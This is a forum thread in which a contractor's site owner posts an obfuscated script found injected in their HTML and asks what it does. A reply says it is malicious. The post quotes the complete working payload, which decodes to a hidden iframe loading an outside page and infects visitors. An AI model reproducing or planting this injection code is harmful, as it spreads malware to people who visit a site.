Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 3 of 3
  1. #1
    Regular Coder
    Join Date
    Sep 2007
    Posts
    264
    Thanks
    19
    Thanked 0 Times in 0 Posts

    What is this code?

    Somehow it got into my html file and Google said I was malicious, but I'd like to know what it does and HOW it got into my html???

    Code:
    <!--0c0896--><script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["\x62od"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_74_80_69_6f_6e_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_74_80_69_6f_6e_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_7c_6a_69_36_72_78_37_78_70_77_7c_77_37_7c_7a_69_6e_36_78_70_78_2f_43_15_12_28_74_80_69_6f_6e_36_7b_7c_81_74_6d_36_78_77_7b_71_7c_71_77_76_28_45_28_2f_69_6a_7b_77_74_7d_7c_6d_2f_43_15_12_28_74_80_69_6f_6e_36_7b_7c_81_74_6d_36_6a_77_7a_6c_6d_7a_28_45_28_2f_38_2f_43_15_12_28_74_80_69_6f_6e_36_7b_7c_81_74_6d_36_70_6d_71_6f_70_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_74_80_69_6f_6e_36_7b_7c_81_74_6d_36_7f_71_6c_7c_70_28_45_28_2f_39_78_80_2f_43_15_12_28_74_80_69_6f_6e_36_7b_7c_81_74_6d_36_74_6d_6e_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_74_80_69_6f_6e_36_7b_7c_81_74_6d_36_7c_77_78_28_45_28_2f_39_78_80_2f_43_15_12_15_12_28_71_6e_28_30_29_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_74_80_69_6f_6e_2f_31_31_28_83_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_7f_7a_71_7c_6d_30_2f_44_6c_71_7e_28_71_6c_45_64_2f_74_80_69_6f_6e_64_2f_46_44_37_6c_71_7e_46_2f_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_74_80_69_6f_6e_2f_31_36_69_78_78_6d_76_6c_4b_70_71_74_6c_30_74_80_69_6f_6e_31_43_15_12_28_85_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_5b_6d_7c_4b_77_77_73_71_6d_30_6b_77_77_73_71_6d_56_69_75_6d_34_6b_77_77_73_71_6d_5e_69_74_7d_6d_34_76_4c_69_81_7b_34_78_69_7c_70_31_28_83_15_12_28_7e_69_7a_28_7c_77_6c_69_81_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_7e_69_7a_28_6d_80_78_71_7a_6d_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_71_6e_28_30_76_4c_69_81_7b_45_45_76_7d_74_74_28_84_84_28_76_4c_69_81_7b_45_45_38_31_28_76_4c_69_81_7b_45_39_43_15_12_28_6d_80_78_71_7a_6d_36_7b_6d_7c_5c_71_75_6d_30_7c_77_6c_69_81_36_6f_6d_7c_5c_71_75_6d_30_31_28_33_28_3b_3e_38_38_38_38_38_32_3a_3c_32_76_4c_69_81_7b_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_28_45_28_6b_77_77_73_71_6d_56_69_75_6d_33_2a_45_2a_33_6d_7b_6b_69_78_6d_30_6b_77_77_73_71_6d_5e_69_74_7d_6d_31_15_12_28_33_28_2a_43_6d_80_78_71_7a_6d_7b_45_2a_28_33_28_6d_80_78_71_7a_6d_36_7c_77_4f_55_5c_5b_7c_7a_71_76_6f_30_31_28_33_28_30_30_78_69_7c_70_31_28_47_28_2a_43_28_78_69_7c_70_45_2a_28_33_28_78_69_7c_70_28_42_28_2a_2a_31_43_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_4f_6d_7c_4b_77_77_73_71_6d_30_28_76_69_75_6d_28_31_28_83_15_12_28_7e_69_7a_28_7b_7c_69_7a_7c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_76_69_75_6d_28_33_28_2a_45_2a_28_31_43_15_12_28_7e_69_7a_28_74_6d_76_28_45_28_7b_7c_69_7a_7c_28_33_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_33_28_39_43_15_12_28_71_6e_28_30_28_30_28_29_7b_7c_69_7a_7c_28_31_28_2e_2e_15_12_28_30_28_76_69_75_6d_28_29_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_38_34_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_31_28_31_28_31_15_12_28_83_15_12_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_85_15_12_28_71_6e_28_30_28_7b_7c_69_7a_7c_28_45_45_28_35_39_28_31_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_7e_69_7a_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_2a_43_2a_34_28_74_6d_76_28_31_43_15_12_28_71_6e_28_30_28_6d_76_6c_28_45_45_28_35_39_28_31_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_74_6d_76_6f_7c_70_43_15_12_28_7a_6d_7c_7d_7a_76_28_7d_76_6d_7b_6b_69_78_6d_30_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_74_6d_76_34_28_6d_76_6c_28_31_28_31_43_15_12_85_15_12_71_6e_28_30_76_69_7e_71_6f_69_7c_77_7a_36_6b_77_77_73_71_6d_4d_76_69_6a_74_6d_6c_31_15_12_83_15_12_71_6e_30_4f_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_31_45_45_3d_3d_31_83_85_6d_74_7b_6d_83_5b_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_34_28_2f_3d_3d_2f_34_28_2f_39_2f_34_28_2f_37_2f_31_43_15_12_15_12_82_82_82_6e_6e_6e_30_31_43_15_12_85_15_12_85_15_12"[ps](a2);za="";for(i=0;i<z.length;i++){za+=String["fromCharCode"](e(v+(z[i]))-sa);}zaz=za;e(zaz);}</script><!--/0c0896-->

    Here's the html for my website:
    Code:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Thomas General Contracting</title>
    <style type="text/css">
    <!--
    body {
    	font: 100%/1.4 Verdana, Arial, Helvetica, sans-serif;
    	background: #1a1a1a;
    	margin: 0;
    	padding: 0;
    	background-color: #1a1a1a;
    }
    
    /* ~~ Element/tag selectors ~~ */
    ul, ol, dl { /* Due to variations between browsers, it's best practices to zero padding and margin on lists. For consistency, you can either specify the amounts you want here, or on the list items (LI, DT, DD) they contain. Remember that what you do here will cascade to the .nav list unless you write a more specific selector. */
    	padding: 0;
    	margin: 0;
    }
    h1, h2, h3, h4, h5, h6, p {
    	margin-top: 0;	 /* removing the top margin gets around an issue where margins can escape from their containing div. The remaining bottom margin will hold it away from any elements that follow. */
    	padding-right: 15px;
    	padding-left: 15px; /* adding the padding to the sides of the elements within the divs, instead of the divs themselves, gets rid of any box model math. A nested div with side padding can also be used as an alternate method. */
    }
    a img { /* this selector removes the default blue border displayed in some browsers around an image when it is surrounded by a link */
    	border: none;
    }
    
    /* ~~ Styling for your site's links must remain in this order - including the group of selectors that create the hover effect. ~~ */
    a:link {
    	color: #42413C;
    	text-decoration: underline; /* unless you style your links to look extremely unique, it's best to provide underlines for quick visual identification */
    }
    a:visited {
    	color: #6E6C64;
    	text-decoration: underline;
    }
    a:hover, a:active, a:focus { /* this group of selectors will give a keyboard navigator the same hover experience as the person using a mouse. */
    	text-decoration: none;
    }
    
    /* ~~this fixed width container surrounds the other divs~~ */
    .container {
    	width: 850px;
    	background: #1a1a1a;
    	background-image: url(images/background.jpg);
    	background-repeat: repeat-y;
    	background-position: center;
    	margin: 0 auto; /* the auto value on the sides, coupled with the width, centers the layout */
    }
    
    /* ~~ the header is not given a width. It will extend the full width of your layout. It contains an image placeholder that should be replaced with your own linked logo ~~ */
    .header {
    	background-color: #1a1a1a;
    }
    
    .navigation {
    	background-color: #1a1a1a;
    }
    
    /* ~~ These are the columns for the layout. ~~ 
    
    1) Padding is only placed on the top and/or bottom of the divs. The elements within these divs have padding on their sides. This saves you from any "box model math". Keep in mind, if you add any side padding or border to the div itself, it will be added to the width you define to create the *total* width. You may also choose to remove the padding on the element in the div and place a second div within it with no width and the padding necessary for your design. You may also choose to remove the padding on the element in the div and place a second div within it with no width and the padding necessary for your design.
    
    2) No margin has been given to the columns since they are all floated. If you must add margin, avoid placing it on the side you're floating toward (for example: a right margin on a div set to float right). Many times, padding can be used instead. For divs where this rule must be broken, you should add a "display:inline" declaration to the div's rule to tame a bug where some versions of Internet Explorer double the margin.
    
    3) Since classes can be used multiple times in a document (and an element can also have multiple classes applied), the columns have been assigned class names instead of IDs. For example, two sidebar divs could be stacked if necessary. These can very easily be changed to IDs if that's your preference, as long as you'll only be using them once per document.
    
    4) If you prefer your nav on the right instead of the left, simply float these columns the opposite direction (all right instead of all left) and they'll render in reverse order. There's no need to move the divs around in the HTML source.
    
    */
    .sidebar1 {
    	float: left;
    	padding: 10px 0;
    	margin: 0 0 0 -8px;
    	width: 370px;
    	background-color: #1e1e1e;
    }
    .content {
    	padding: 10px 0;
    	margin: 0 0 0 59px;
    	width: 370px;
    	float: left;
    	background-color: #1e1e1e;
    }
    
    /* ~~ This grouped selector gives the lists in the .content area space ~~ */
    .content ul, .content ol { 
    	padding: 0 15px 15px 40px; /* this padding mirrors the right padding in the headings and paragraph rule above. Padding was placed on the bottom for space between other elements on the lists and on the left to create the indention. These may be adjusted as you wish. */
    }
    
    /* ~~ The navigation list styles (can be removed if you choose to use a premade flyout menu like Spry) ~~ */
    ul.nav {
    	list-style: none; /* this removes the list marker */
    	border-top: 1px solid #666; /* this creates the top border for the links - all others are placed using a bottom border on the LI */
    	margin-bottom: 15px; /* this creates the space between the navigation on the content below */
    }
    ul.nav li {
    	border-bottom: 1px solid #666; /* this creates the button separation */
    }
    ul.nav a, ul.nav a:visited { /* grouping these selectors makes sure that your links retain their button look even after being visited */
    	padding: 5px 5px 5px 15px;
    	display: block; /* this gives the link block properties causing it to fill the whole LI containing it. This causes the entire area to react to a mouse click. */
    	width: 160px;  /*this width makes the entire button clickable for IE6. If you don't need to support IE6, it can be removed. Calculate the proper width by subtracting the padding on this link from the width of your sidebar container. */
    	text-decoration: none;
    	background: #C6D580;
    }
    ul.nav a:hover, ul.nav a:active, ul.nav a:focus { /* this changes the background and text color for both mouse and keyboard navigators */
    	background: #ADB96E;
    	color: #FFF;
    }
    
    /* ~~ The footer ~~ */
    .footer {
    	padding: 0px 0;
    	background: #1a1a1a;
    	position: relative;/* this gives IE6 hasLayout to properly clear */
    	clear: both; /* this clear property forces the .container to understand where the columns end and contain them */
    }
    
    /* ~~ miscellaneous float/clear classes ~~ */
    .fltrt {  /* this class can be used to float an element right in your page. The floated element must precede the element it should be next to on the page. */
    	float: right;
    	margin-left: 8px;
    }
    .fltlft { /* this class can be used to float an element left in your page. The floated element must precede the element it should be next to on the page. */
    	float: left;
    	margin-right: 8px;
    }
    .clearfloat { /* this class can be placed on a <br /> or empty div as the final element following the last floated div (within the #container) if the #footer is removed or taken out of the #container */
    	clear:both;
    	height:0;
    	font-size: 1px;
    	line-height: 0px;
    }
    
    /* .box div holds the bottom image */
    
    
      .box {
        
        background: url(./images/boxBottom.jpg); 
        background-repeat: no-repeat
        background-attachment: scroll left bottom;
        background-position: left bottom;
        margin-bottom: 10px;
        padding: 0 0 15px;
        width: 300px;
     }
    
     /*  this is the title h3 tag and contains the background
         image for the title	*/
    
      .box h3 {
    
        background: url(./images/box.jpg) repeat scroll 0 0;
        color: #FFF;
        font-size: 12px;
        height: 35px;
        line-height: 30px;
        margin: 0;
        padding: 0 15px;
      
     }
    
     /* The paragraph tag contains the side borders mark-up */
    
     .box p {
    
        background: #2b2b2b none repeat scroll 0 0;
        border-color: #CCC;
        border-width: 0 0px;
        border-style: solid;
        color: #FFF;
        font-size: 11px;
        line-height: 1.3em;
        margin: 0;
        padding: 7px 0px 0;
        width: 300px;
     }
     .twtr-hd, .twtr-ft
     {
     display: none;
     }
    -->
    </style>
    <script type="text/javascript" src="external.js"></script>
    </head>
    
    <body onload="MM_preloadImages('images/homeh.jpg','images/galleryh.jpg','images/quotesh.jpg','images/abouth.jpg','images/contacth.jpg','images/home.jpg')">
    
    <div class="container">
      <div class="header"><center><a href="#"><img src="images/banner.jpg" alt="Insert Logo Here" width="850" height="119" style="background: #000000; display:block;" /></a></center>
        <!-- end .header --></div>
    
      <div class="navigation">
         <center><img src="images/navleft.jpg" alt="Insert Logo Here" width="94" height="48" /><a href="#" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('home','','images/home.jpg',1)"><img src="images/homeh.jpg" alt="Home" name="home" width="123" height="48" border="0" id="home" /></a><a href="gallery.php" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('gallery','','images/galleryh.jpg',1)"><img src="images/gallery.jpg" alt="Gallery" name="gallery" width="147" height="48" border="0" id="gallery" /></a><a href="quotes.html" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('quotes','','images/quotesh.jpg',1)"><img src="images/quotes.jpg" alt="Quotes" name="quotes" width="143" height="48" border="0" id="quotes" /></a><a href="about.html" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('about','','images/abouth.jpg',1)"><img src="images/about.jpg" alt="About" name="about" width="119" height="48" border="0" id="about" /></a><a href="contact.html" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('contact','','images/contacth.jpg',1)"><img src="images/contact.jpg" alt="Contact" name="contact" width="130" height="48" border="0" id="contact" /></a><img src="images/navright.jpg" alt="Insert Logo Here" width="94" height="48" /></center>
      </div>
      <div class="content">
      <center>
        <div class="box">
      
       <h3>WELCOME</h3>
      
        <p align="left">
    <font color="white">If you are searching for a contractor that you can trust in Chattanooga and surrounding areas, look no further.   Thomas General Contracting operates with a “one-stop-shop” management technique to help alleviate much of the stress associated with home improvements.  We specialize in all facets of home improvement such as decks, fences, siding, windows, garages, patios, roofs, room additions, minor excavation and more.</font>
       </p>
    
     </div> </center><!-- end class box -->
       <center>
        <div class="box">
      
       <h3>GALLERY</h3>
      
        <p align="left">
    <font color="white">If you would like to view our creative workmanship, please browse our photo gallery.<br /><br />
    <div style="width:300px;"><embed type="application/x-shockwave-flash" wmode="transparent" src="http://w1120.photobucket.com/pbwidget.swf?pbwurl=http%3A%2F%2Fw1120.photobucket.com%2Falbums%2Fl483%2FThomasGeneralContracting%2F56a5839d.pbw" height="220" width="300"></div></font>
       </p>
    
     </div> </center><!-- end class box -->
        <!-- end .content -->
      </div>
        <div class="sidebar1">
      <center>
        <div class="box">
      
       <h3>UPDATES</h3>
      
        <p align="left">
    <font color="white">We will do our best to post website updates on a quarterly basis.<br /></br /></font>
       </p>
    <script src="http://widgets.twimg.com/j/2/widget.js"></script>
    <script>
    new TWTR.Widget({
      version: 2,
      type: 'profile',
      rpp: 5,
      interval: 30000,
      width: 'auto',
      height: 300,
      theme: {
        shell: {
          background: '#2B2B2B',
          color: '#ffffff'
        },
        tweets: {
          background: '#2B2B2B',
          color: '#ffffff',
          links: '#4aed05'
        }
      },
      features: {
        scrollbar: false,
        loop: false,
        live: false,
        behavior: 'all'
      }
    }).render().setUser('TGContracting').start();
    </script>
    <br />
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    <a href="https://twitter.com/share" class="twitter-share-button" data-via="TGContracting">Tweet</a>
    <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
     </div> </center><!-- end class box -->
       <center>
        <div class="box">
      
       <h3>ABOUT US</h3>
      
        <p align="left">
    <font color="white">With over 25 years of experience and a commitment to honesty, integrity, and safety, Thomas General Contracting offers a unique approach to residential contracting services.  We focus on building strong relationships with our customers; enabling us to understand customer needs and exceed their expectations.</font>
       </p>
    
     </div> </center><!-- end class box -->
        <!-- end .sidebar1 --></div>
      <div class="footer">
      <center><img src="images/footer.jpg" width="850" height="59" alt="Footer" />    <!-- end .footer --></center></div>
      <!-- end .container --></div>
    </body>
    </html>

  • #2
    Supreme Master coder! Philip M's Avatar
    Join Date
    Jun 2002
    Location
    London, England
    Posts
    17,898
    Thanks
    203
    Thanked 2,530 Times in 2,508 Posts
    <!--0c0896--> is an HTML comment.

    No idea how it got into your html but change your password. You can be sure that it is malicious. Quite a few sites seem to have been hacked.



    https://x10hosting.com/forums/free-h...en-hacked.html
    http://www.nextec.ca/wp/?p=452
    Last edited by Philip M; 07-05-2013 at 07:34 AM.

    All the code given in this post has been tested and is intended to address the question asked.
    Unless stated otherwise it is not just a demonstration.

  • #3
    Regular Coder
    Join Date
    Sep 2007
    Posts
    264
    Thanks
    19
    Thanked 0 Times in 0 Posts
    Ya thought I got it all and it was in JS too... Got 3 viruses from it, thank goodness for malware antibytes. Anyway it appears they came through minishowcase gallery script.


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •